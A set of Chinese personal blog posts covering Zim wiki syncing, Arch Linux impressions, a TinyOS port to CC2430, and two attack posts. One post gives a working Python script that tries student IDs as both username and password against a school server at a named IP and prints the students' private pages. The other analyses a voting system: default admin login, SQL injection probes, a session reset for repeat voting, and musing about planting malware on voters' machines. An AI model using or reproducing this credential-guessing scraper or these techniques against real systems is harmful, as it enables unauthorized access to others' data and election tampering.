..似曾相识..

也谈个人知识管理

人大脑的记忆能力是有限的。
我平时鼓捣电脑经常会遇到很多问题,解决后就忘记了,但如果下次再遇到,就又要求助于google从而浪费很多时间。网上很多知识技巧不值得去花时间记忆,建立一个知识库来保存这些技巧知识是最好的方法。TL上面大家关于如何建立自己的个人知识管理系统给出了许多方案。没有什么是最好的,只有最适合自己的。我曾经尝试过利用书签,自建wiki站点,Evernote,Dropbox等来建立知识库。但是始终觉得不够方便便捷。经过多次尝试,我最终选择了Zim wiki结合github和Dropbox来建立我的个人知识管理系统。

Zim wiki(http://zim-wiki.org/)是一个跨平台的个人wiki软件,其linux版本非常好用,没有Evernote那些花哨不实的功能,呼出速度也很快,适合从网页或者终端中保存文字。用来作为简单的个人知识管理最合适不过。
但是Zim wiki缺少同步功能,所以我通过设置github来为其添加了这个功能。因为zimwiki中每个条目都是一个txt纯文档,所以只需要在平时使用的Notebook对应的目录下面设置git,就可以把内容同步到github上面。之后只需要再把git pull和git push这几个命令写成一个bash脚本,就可以实现自动同步了。

#syncwiki.sh
cd ~/knowledge
git pull origin master
git add *
git commit -m "new"
git push origin master

为了更加方便,我又修改了下/usr/bin下面的zim程序,在

except KeyboardInterrupt: # e.g. C while --server
	print >>sys.stderr, 'Interrupt'
	sys.exit(1)

中sys.exit(1)前面添加了

	os.popen("sh ~/syncwiki.sh")

并将新程序保存为zimm,这样通过zimm打开的zimwiki在每次关闭wiki前就会自动与github同步了。你也可以通过添加crontab来设定定时同步。
使用github可以实现不同linux主机间wiki系统的同步,而linux与windows系统之间的同步我选择了dropbox。
Dropbox同步方法非常简单,将linux下面notebook对应的文件夹用ln命令做个链接,链接到Dropbox下面,之后在windows系统下面,设置zimwiki打开Dropbox的文件夹就可以。这种同步方法的缺点是每次修改后再次从另外一个系统打开zimwiki的时候会卡上几秒钟,而且如果两个系统同时修改wiki则会造成冲突,从而导致同步失败。
虽然存在不足,但是其实一般工作的时候很少会linux和win系统同时去添加wiki。还是那句话,够用就好。

除了使用github,你也可以使用其他的在线版本控制系统来实现wiki的同步。比如新浪的SAE。如果需要将自己的个人知识管理系统共享给别人,可以直接使用zimwiki提供的httpserver,直接共享成为网页。如果需要长期共享,可以去搜索zim wiki deploy(作者的blog:blog github地址:GitHub),这个人提供了将zimwiki转换为dokuwiki的脚本。

除此之外,你也可以尝试使用ssh -X来远程启动zimwiki实现同步:)

Awesome的Archlinux

转眼间我已经用了一年Archlinux,是该写点什么了。

我从Win投奔到Linux时间并不长,从07年开始通过RedHat系的Fedora第一次接触到了Linux,这全都得感谢我的学长的大力吹捧和慷慨解囊(免费赠送“正版”DVD)。Fedora的旅程并不顺利,系统总是出现各种毛病,而那时我还是个纯菜鸟,连yum都不知道。摆弄了一阵之后,又回到了Win。

后来在08年进入到了Debian系,Ubuntu 8.04确实是个杰出的版本,在这段时间里我的Linux水平也有了一定的提高。这段时期基本上是一半时间在Linux一半时间在Win。

而Ubuntu尽管很好,但还是没能留住我。频繁的升级和很差的跨版本升级体验使得我最终抛弃了这个发行版(Ubuntu8.04 -> 8.10->9.04 你懂的..)。而就这时,摒弃了版本号只通过滚动升级的Arch进入了我的视线。

每个人都有自己的喜好,我也不想对比这几个发行版之间的优劣,毕竟我还只是个刚刚摆脱菜鸟阶段的Linux新手。我下面写的是我使用Arch的感受。

Arch是一个轻巧的发行版,你可以通过安装完后的满屏黑底白字来亲身感受下“轻巧”的含义,也可以通过它高速的启动来感受下。我认为Arch并不是一个面向Linux新手的系统,Arch的很多优点恰恰需要用户有Ubuntu的经历才能体会的到,如果一上来就推荐给Linux的初次使用者,繁琐的安装过程往往会吓跑他们。

那么Arch有哪些优点呢?

第一个优点就是它具有强大的包管理系统pacman和AUR。后者需要安装一个yaourt软件后使用。对于一个Linux初学者而言,最麻烦的事情无异于是给系统安装各种软件。Ubuntu在这方面没有什么很好的解决办法,如果apt-get能够安装的到它,那么就会一番风顺,否则则要借助于一些第三方软件(Ubuntu Tweak)来安装或者自己编译。而在Arch下面,你只需要简单的“yaourt 软件名”,基本上所有常用的软件都会顺利的安装上去(mplayer ibus ibus-pinyin Virtualbox amarok openfetion etc…)。这点对于一个新手来说无疑是一个巨大的诱惑。我们不需要把时间花在怎么安装软件上面,只要在网上看到某篇文章推荐xx软件,我们就可以通过yaourt迅速安装到自己的系统上使用。另外yaourt也可以用来尝鲜,比如你可以通过搜索vim查找到大量的vim插件,通过搜索eclipse搜索到大量eclipse的插件,非常适合新手对系统中的各个软件进行功能加强和优化。

第二个优点是其KISS原则,Archlinux得花费你一整个晚上去安装,而在普通安装完毕后还需要花上至少两天的时间对系统进行调整。这似乎是一个缺点,但是对于新手而言,自己配置的系统才是自己最熟悉的能掌控的。不妨打个比喻,使用Ubuntu就像是买一台品牌机,使用Arch就相当于是自己按照别人的指导自己购买配件攒一台电脑,至于gentoo…恩,应该是自己印制电路板去攒吧(哈哈 有点夸张)。我当时不知道怎么控制Ubuntu自动启动的软件和服务,也不知道如何替换Ubuntu的gnome环境。品牌机也是一样,它肯定安装完后运行起来就非常流畅,但是它不适合你去继续鼓捣。而Arch的安装就像是搭积木,每一个软件的安装与否都取决于你,但是它又不像gentoo那样浪费你的时间。在Arch环境下,对于很多常用软件,你可以选择使用别人已经编译好的软件直接使用,但同时,使用yaourt依然给与你自己编译的权力。总的来说,使用Arch,你可以感觉到自己能够掌控整个系统。

第三个优点是文档丰富,一个Linux新手总会在系统使用的过程当中遇到这样那样的问题。Ubuntu有很好的中文论坛,而ArchLinux有很好的Wiki文档和英文论坛。特别要提的是它的Wiki,基本上常见的问题都能在上面得到答案,而且你还能够通过Wiki学到好多新的知识。除此之外,Linuxsir上面的Archlinux版块可以在一定程度上弥补其没有官方中文论坛的不足。

好了,优点已经总结完毕了。一个发行版的优点不必多,只要有那么一两个是你所需要的就足够了。我觉得对于一个亟待成长为高手的菜鸟而言,上述三个优点已经有足够的诱惑力了。

除了优点外,ArchLinux还有一个最大的特性——“新”

Archlinux永远冲在时尚的最前沿(:)),软件包更新速度非常快。不过这个特点也使得系统不总是那么稳定,我在这一年的使用中遇到过5次左右在升级后出现的不稳定情况。不过我还没有遇到没法启动gdm进入图形界面的这种糟糕的情况。其中有一次问题非常严重,系统总是在敲击回车鍵后自动注销,后来又演变成为死机。这个问题曾困扰了我两天,那时候已经有了重装系统的冲动,不过后来Linuxsir论坛给出了解决办法。(修改/etc/rc.conf 把gdm项放到最后一个启动项去启动就行了)频繁的更新的另外一个问题就是有些AUR仓库的软件包的依赖出现了问题,导致一些许久没有更新的软件没法安装。还有一个问题就是因为更新速度太快,所以你每次更新都需要花费一定的时间,如果网速不行的话,更新将会比较漫长。(好在国内Arch的源的速度还是不错的)

当然,新也有新的好处,你总是可以第一时间体验到软件的新功能,同时如果软件有bug,你可以通过更新来解决。另外,系统中的一些小问题也可能就在你的不停更新中悄然的就解决了:)

最后加句废话,Arch现在已经比我刚刚使用的时候稳定多了,最近更新一直没出现什么大问题。

最后说说什么人适合使用Arch:

使用过Ubuntu图形版或其他发行版,

喜欢鼓捣系统,

喜爱完全掌控系统的感觉,

追新,

喜欢编程,

讨厌gentoo和lfs的繁琐费时,

怕麻烦。

上面的几条不必全符合,个人建议,仅供参考:)

目前我的系统是ArchLinux使用awesome并结合部分gnome组件,双显示器,目前装了n多软件,但是系统依然很好用,开机速度没有受到任何影响。

轻巧的发行版 + 轻巧并支持多显示器的WM = 高工作效率。

来试试Arch吧 :)

利用Python抓取需要登录网站的信息

上次介绍了使用PHP结合curl库来抓取成绩,其实用Python脚本也能完成类似的任务,而且完成的很漂亮。我越来越喜欢Python了 呵呵
这次下手的目标是学校的书籍订购站点,这个系统存在这一个巨大的漏洞——所有用户默认学号和密码是相同的。因此我用它来练习下信息抓取。
这次先放上代码,下面是Python代码:

import urllib,urllib2,cookielib
import re
f = open("字典地址","r")
username = f.readline().rstrip()
txt_last = ""
while username != '':
	a = cookielib.CookieJar()
	b = urllib2.build_opener(urllib2.HTTPCookieProcessor(a))
	urllib2.install_opener(b)
	dust1 = 'http://211.82.90.56:8080/caubook/TeacherLog.aspx?'+\
                      '__VIEWSTATE=%2FwEPDwUKMTk4Njc5NTU4Mg9kFgICAw9kFgICBw8PZBY'+\
                      'CHgdvbmNsaWNrBSdpZih0aGlzLmRpc2FibGVkPT1mYWxzZSl7cmV'+\
                      '0dXJuICBiYygpO31kZP%2B9YQS1SQoVhX0gctevArgHvY9U&Tbusername='
	dust2 = username
	dust3 = '&Tbuserpwd='
	dust4 = username
	dust5 = '&RadioButtonList1=%E5%AD%A6%E7%94%9F&Button1=%E7%A1%AE%E8%AE%A4&__EVENTVALIDATION'+\
                      '=%2FwEWBwKZqo6EDgKS6L7%2FCwK1gprrAQLo4%'+\
                     '2BrNDQLN7c0VAveMotMNAoznisYGXMvRojLDcm7L2wkg34m0QFH3k5c%3D'
	response=urllib2.urlopen(dust1+dust2+dust3+dust4+dust5)
	next = urllib2.urlopen('http://211.82.90.56:8080/caubook/Student/StuAna1.aspx')
	#print next.read()
	txt = next.read()
	if(txt != txt_last):
		txt_last = txt
		#txt = re.compile(r'< [^>]+>').sub('',txt)
		print txt
	username = f.readline().rstrip()

第三、四行的作用是打开一个文件,这个文件是作为字典使用的,每一行都是一个学号。这个学号将被读取进入程序并且作为用户名和密码被提交(因为系统默认用户名和密码是相同的)。
下面说下程序关键地方,dust(呵呵我比较喜欢给变量取一些诡异的名字^^ 毕竟是自己使用的脚本,也没几行,能用就行了,没必要遵守那么多规范了)1-5是用来拼凑提交URL的字符串片段。这个可以通过分析网页的HTML的POST部分结合抓包来获取——也就是说,只要在浏览器中输入dust1+dust2+dust3+dust4+dust5链接成的网址,就必须能够正常登录系统才行。这个书籍订阅系统存在一大堆乱七八糟的代码,我不会asp.net也不知道为什么要提交这些….我们只需要关注下&Tbusername=和&Tbuserpwd=后面跟的参数就行了——一个是用户名一个是密码,当然都是学号。我们需要用

response=urllib2.urlopen(dust1+dust2+dust3+dust4+dust5)

来提交这个网址
我们提交完后会返回一个cookie,我以前不知道如何保存这个cookie,在Python中,我们只需要先设定

a = cookielib.CookieJar()

再执行

b = urllib2.build_opener(urllib2.HTTPCookieProcessor(a))
urllib2.install_opener(b)

就可以让程序自动保存后面提交后返回的cookie了。
通过上面的介绍,我们已经实现了模拟浏览器提交,并保存好返回cookie的任务,下面我们只需要在存在cookie的情况下(也就是在登录系统后)访问我们想要查看的页面就行了。后面的代码就是干这个用的。

综上,简单的几行代码我们就轻松实现了模拟登录及cookie保存,我们可以用它完成更多的任务。
我这次的任务就是抓取资料,所以后面的就不多谈了,大家自己研究吧:)

P.S. 抓取资料时请尊重别人隐私以及不要破坏他人资料。违者责任自负。

VOTE_Z_PHP 1.5版投票系统漏洞分析

最近学校组织五四青年网络标兵评选,采用了这个投票系统,我对这个投票系统进行了测试,发现些漏洞,特发此文。

————————————————————————————-

这次的入侵没有什么技术含量。
现在投票在http://xxx/vote/votindex.html这里已经结束了,这意味着我可以发表具体内容了。
黑客就是这样,有的时候并不需要采用过多技巧,只需要找到“a simple and easy way”,比如这次的入侵就是这样。
在投票结果查看页http://xxx/vote/show.php?id=11 这里我们发现网页最下面有

<a href=”http://www.it-zero.com” class=”top”>IT零距离版权所有</a> 技术支持:<a href=”mailto:admin@it-zero.com” class=”red”>先知</a>

这样的标志,因此搜索“it-zero 投票系统”,发现学校使用的是一个现成的投票系统,寻找php版的下载下来。开始进行源代码分析(一共也没几行..)

漏洞1:

投票系统的默认登录地址为/vote/admin.php,默认的用户名密码是it-zero。而学校使用这个投票系统的人居然没有更改默认的用户名密码!因此我们可以轻易地用上述用户名密码登录这个系统。
进入后台后可以做的事情就很多了。我可以把所有的人的投票都给删掉,这样这次投票就算是结束了。也可以把别人的名字和票数调换,还可以用xss跨站,挂马——这次1万多人投票,也就是有1万多台电脑(当然代理和用adsl刷票的不计算在内)在投票,如果我要是挂马的话,我就可以轻易控制其中部分电脑。

漏洞2:

这个投票系统,投票的地址是
http://xxx/vote/vote.php?id=11
而查看的地址是
http://xxx/vote/show.php?id=11
这两个地址都存在PHP注入问题,输入

http://xxx/vote/show.php?id=11 and 1=1 返回正常
http://xxx/vote/show.php?id=11 and 1=2 返回不正常

查看源代码,对应的是show.php这个文件,你会发现,所有的id值都没经过处理就直接放到SQL查询语句了….哎…
好了,接下来我们就用工具来帮助我们就行了——请记住,这次的注入问题比以前农大新闻网的要严重的多的多——因为我们已经拿到了系统的源代码,所以数据库的表名等数据都是已知的(我们的制作人肯定懒得去改),因此省去了猜的时间,入侵很容易成功。

漏洞3:

投票过程处理是通过deal.php来完成的。我们重点看这段代码

  1. if (session_is_registered("votes"))
  2. {
  3. echo "&lt;script language='javascript'&gt;alert('您已经投过票了!');window.close();&lt;/script&gt;";
  4. exit;
  5. }

而在投票成功的时候有

  1. session_register("votes");
  2. echo "&lt;script language='javascript'&gt;alert('投票成功!');window.close();&lt;/script&gt;";

也就是投票系统是通过session来记录的,session和cookie不同,它是保存在服务器端的,因此想要刷票的话,就必须要想办法删除掉session,而这个并不容易。因此我们要想刷票,只能通过使用代理反复变换IP来实现。
但是,在logout.php中

  1. < ?
  2. session_start();
  3. session_unregister("admins");
  4. session_unregister("votes");
  5. session_destroy();
  6. echo "&lt;meta http-equiv='refresh' content='0;url=admin.php'&gt;";
  7. ?>

居然存在session_unregister(“votes”); 这句话

这样的话,我们在投票后只需要再访问下vote/logout.php,那么我们就可以继续投票了…….
不过貌似做这个投票系统的人也注意到了这句话,很可能给删掉了,所以我使用这个方法一直不成功,但是在我本地搭建的测试环境中是能够测试成功的。(我很疑惑,既然都改了代码了,那么为什么不把后台默认的用户名密码也改下呢….)
——————————————————
以上内容只是技术讨论,重点在于分析VOTE_Z_PHP 1.5版投票系统的漏洞,请不要进行破坏活动,否则后果自负

CC2430单片机的TinyOS移植(windows平台)

注:如果对CC2430和TinyOS不甚了解,请跳过这篇文章

本文发表在PSYcHic

原文地址为:http://www.darlingtree.com/wordpress/archives/187 如需转载请保留这个网址 谢谢!

现在国内做WSN研究的人越来越多了。在硬件方面,我们国内不像国外那样拥有很多硬件开发平台可以供我们选择。而且,crossbow的专业开发平台价格非常昂贵。不过随着越来越多的公司开始关注WSN,zigbee,我们现在还是有可能在千元之内就搭建出来一套自己的无线传感器开发系统。

CC2430是现在较为理想的硬件平台。在国内,大多数人还是使用IAR结合z-stack协议栈(或者是变种的xx龙版)进行开发。z-stack协议栈开发比较简便,很适合新手使用。但是如果你是搞学术研究,需要深入研究组网及相关算法开发的话,那么UC Berkely的TinyOS才是最佳的选择。(我相信聪明的人不会去淌z-stack的OSAL的浑水吧….)

很多人已经成功将TinyOS移植到了CC2430上了。但是目前在网上似乎找不到有比较详细操作步骤的文章。那么我来给大家科普下吧:)

—-

介绍:

首先,我们要往CC2430上移植的是TinyOS 2.x版本。如果你英文好的话直接前往下面这里查看相关资料http://tinyos8051wg.sourceforge.net/

TinyOS2.x for 8051目前支持三种编译器——Keil,IAR,sdcc 我们采用的编译器是Keil——这个大家都比较熟悉。TinyOS 2.x 是必须在Linux平台下才能工作的,而Keil则是一个windows下的软件,所以我们必须要先安装一个在windows下面模拟linux的软件——Cygwin。

移植前,我们需要准备的东西有:

硬件:CC2430节点,仿真器

软件:Cygwin,Keil,TinyOS 2.x,一些相关的环境设置包,SmartRF04 Flash Programmer

硬件就是原来在IAR下能正常使用的CC2430开发硬件就OK(不管是无线龙的,华凡的,微骨的都行)

软件我需要说下:

TinyOS 2.x : 请到http://tinyos8051wg.sourceforge.net/download 这里下载最新版本 (本文是根据TinyOS8051wg-0.1pre4.tgz 26 Oct 2008 这个版本进行的介绍)

Keil:请安装好,记住一定要安装没有2K限制的版本。

下面开始安装软件:

0、安装Keil ——Keil是现在单片机开发必备的软件了,网上资料一大堆,我就省略了。自己安装好就可以了。

1、安装Java 1.5 JDK

下载地址 http://java.sun.com

如果你做Java开发,以前安装过的话就可以跳过这一步了。

2、安装Cygwin

请安装TinyOS推荐使用的版本。不少人在后面遇到各种诡异的问题就是因为Cygwin安装不当,缺少一些必要的组件。

你可以去:http://cone.informatik.uni-freiburg.de/people/aslam/cygwin-files.zip

下载这个版本的Cygwin。

如果链接失效,请前往TinyOS官方的wiki寻找其推荐的Cygwin版本:http://docs.tinyos.net/index.php/Installing_TinyOS_2.0.2#Manual_installation_on_your_host_OS_with_RPMs

安装过程很简单,一路next下去就OK,不过请记住你安装的位置。本文默认是安装到C盘下。

3、下载TinyOS开发必备的编译工具的安装包(一共4个)

NesC编译工具:nesc-1.3.0-1.cygwin.i386.rpm

TinyOS相关工具:

tinyos-deputy-1.1-1.cygwin.i386.rpm

tinyos-tools-1.3.0-1.cygwin.i386.rpm

tinyos-2.1.0-2.cygwin.noarch.rpm

4、启动Cygwin,并在Cygwin下安装上面下载好的rpm包

双击图标即可启动Cygwin。 正常启动后应该会有”$”标识符和光标。

我们要安装rpm包,就要首先切换到rpm包存放的目录下。如果你熟悉Linux,那么自己安装就行。如果不是的话,按照我所说的一步一步来。

1)首先找到你安装Cygwin的目录,如果是默认安装的话就是C:\Cygwin

2)进入目录,发现里面有/bin /var /etc /opt /home等文件夹,Linux系统下的根目录就是这个样子啦。

我们双击home文件夹,发现里面又有另外一个文件夹,起的是你安装时设置的用户名称,假设你叫做quake(请替换为你自己的用户名)。现在进入C:\Cygwin\home\quake下面

好了,当我们一启动Cygwin,程序的终端窗口默认也是停留在/home/quake下面。下面我们需要把刚刚下载的4个rpm包拷贝到C:\Cygwin\home\quake这个文件夹下面。

之后在Cygwin终端下输入

ls

按回车后,你会发现终端的窗口里显示了你刚刚拷过去的rpm包的名字。(更多Linux bash命令请参考Linux资料)

下面需要一个一个安装

输入

rpm -ivh nesc-1.3.0-1.cygwin.i386.rpm
rpm -ivh tinyos-tools-1.3.0-1.cygwin.i386.rpm
rpm -ivh tinyos-deputy-1.1-1.cygwin.i386.rpm
rpm -ivh tinyos-2.1.0-1.cygwin.noarch.rpm

每输入一行,按一次回车,我们就把对应的rpm包给安装好啦。把4个rpm包都安装好后就可以进行下一步了。 继续阅读 »

返回顶部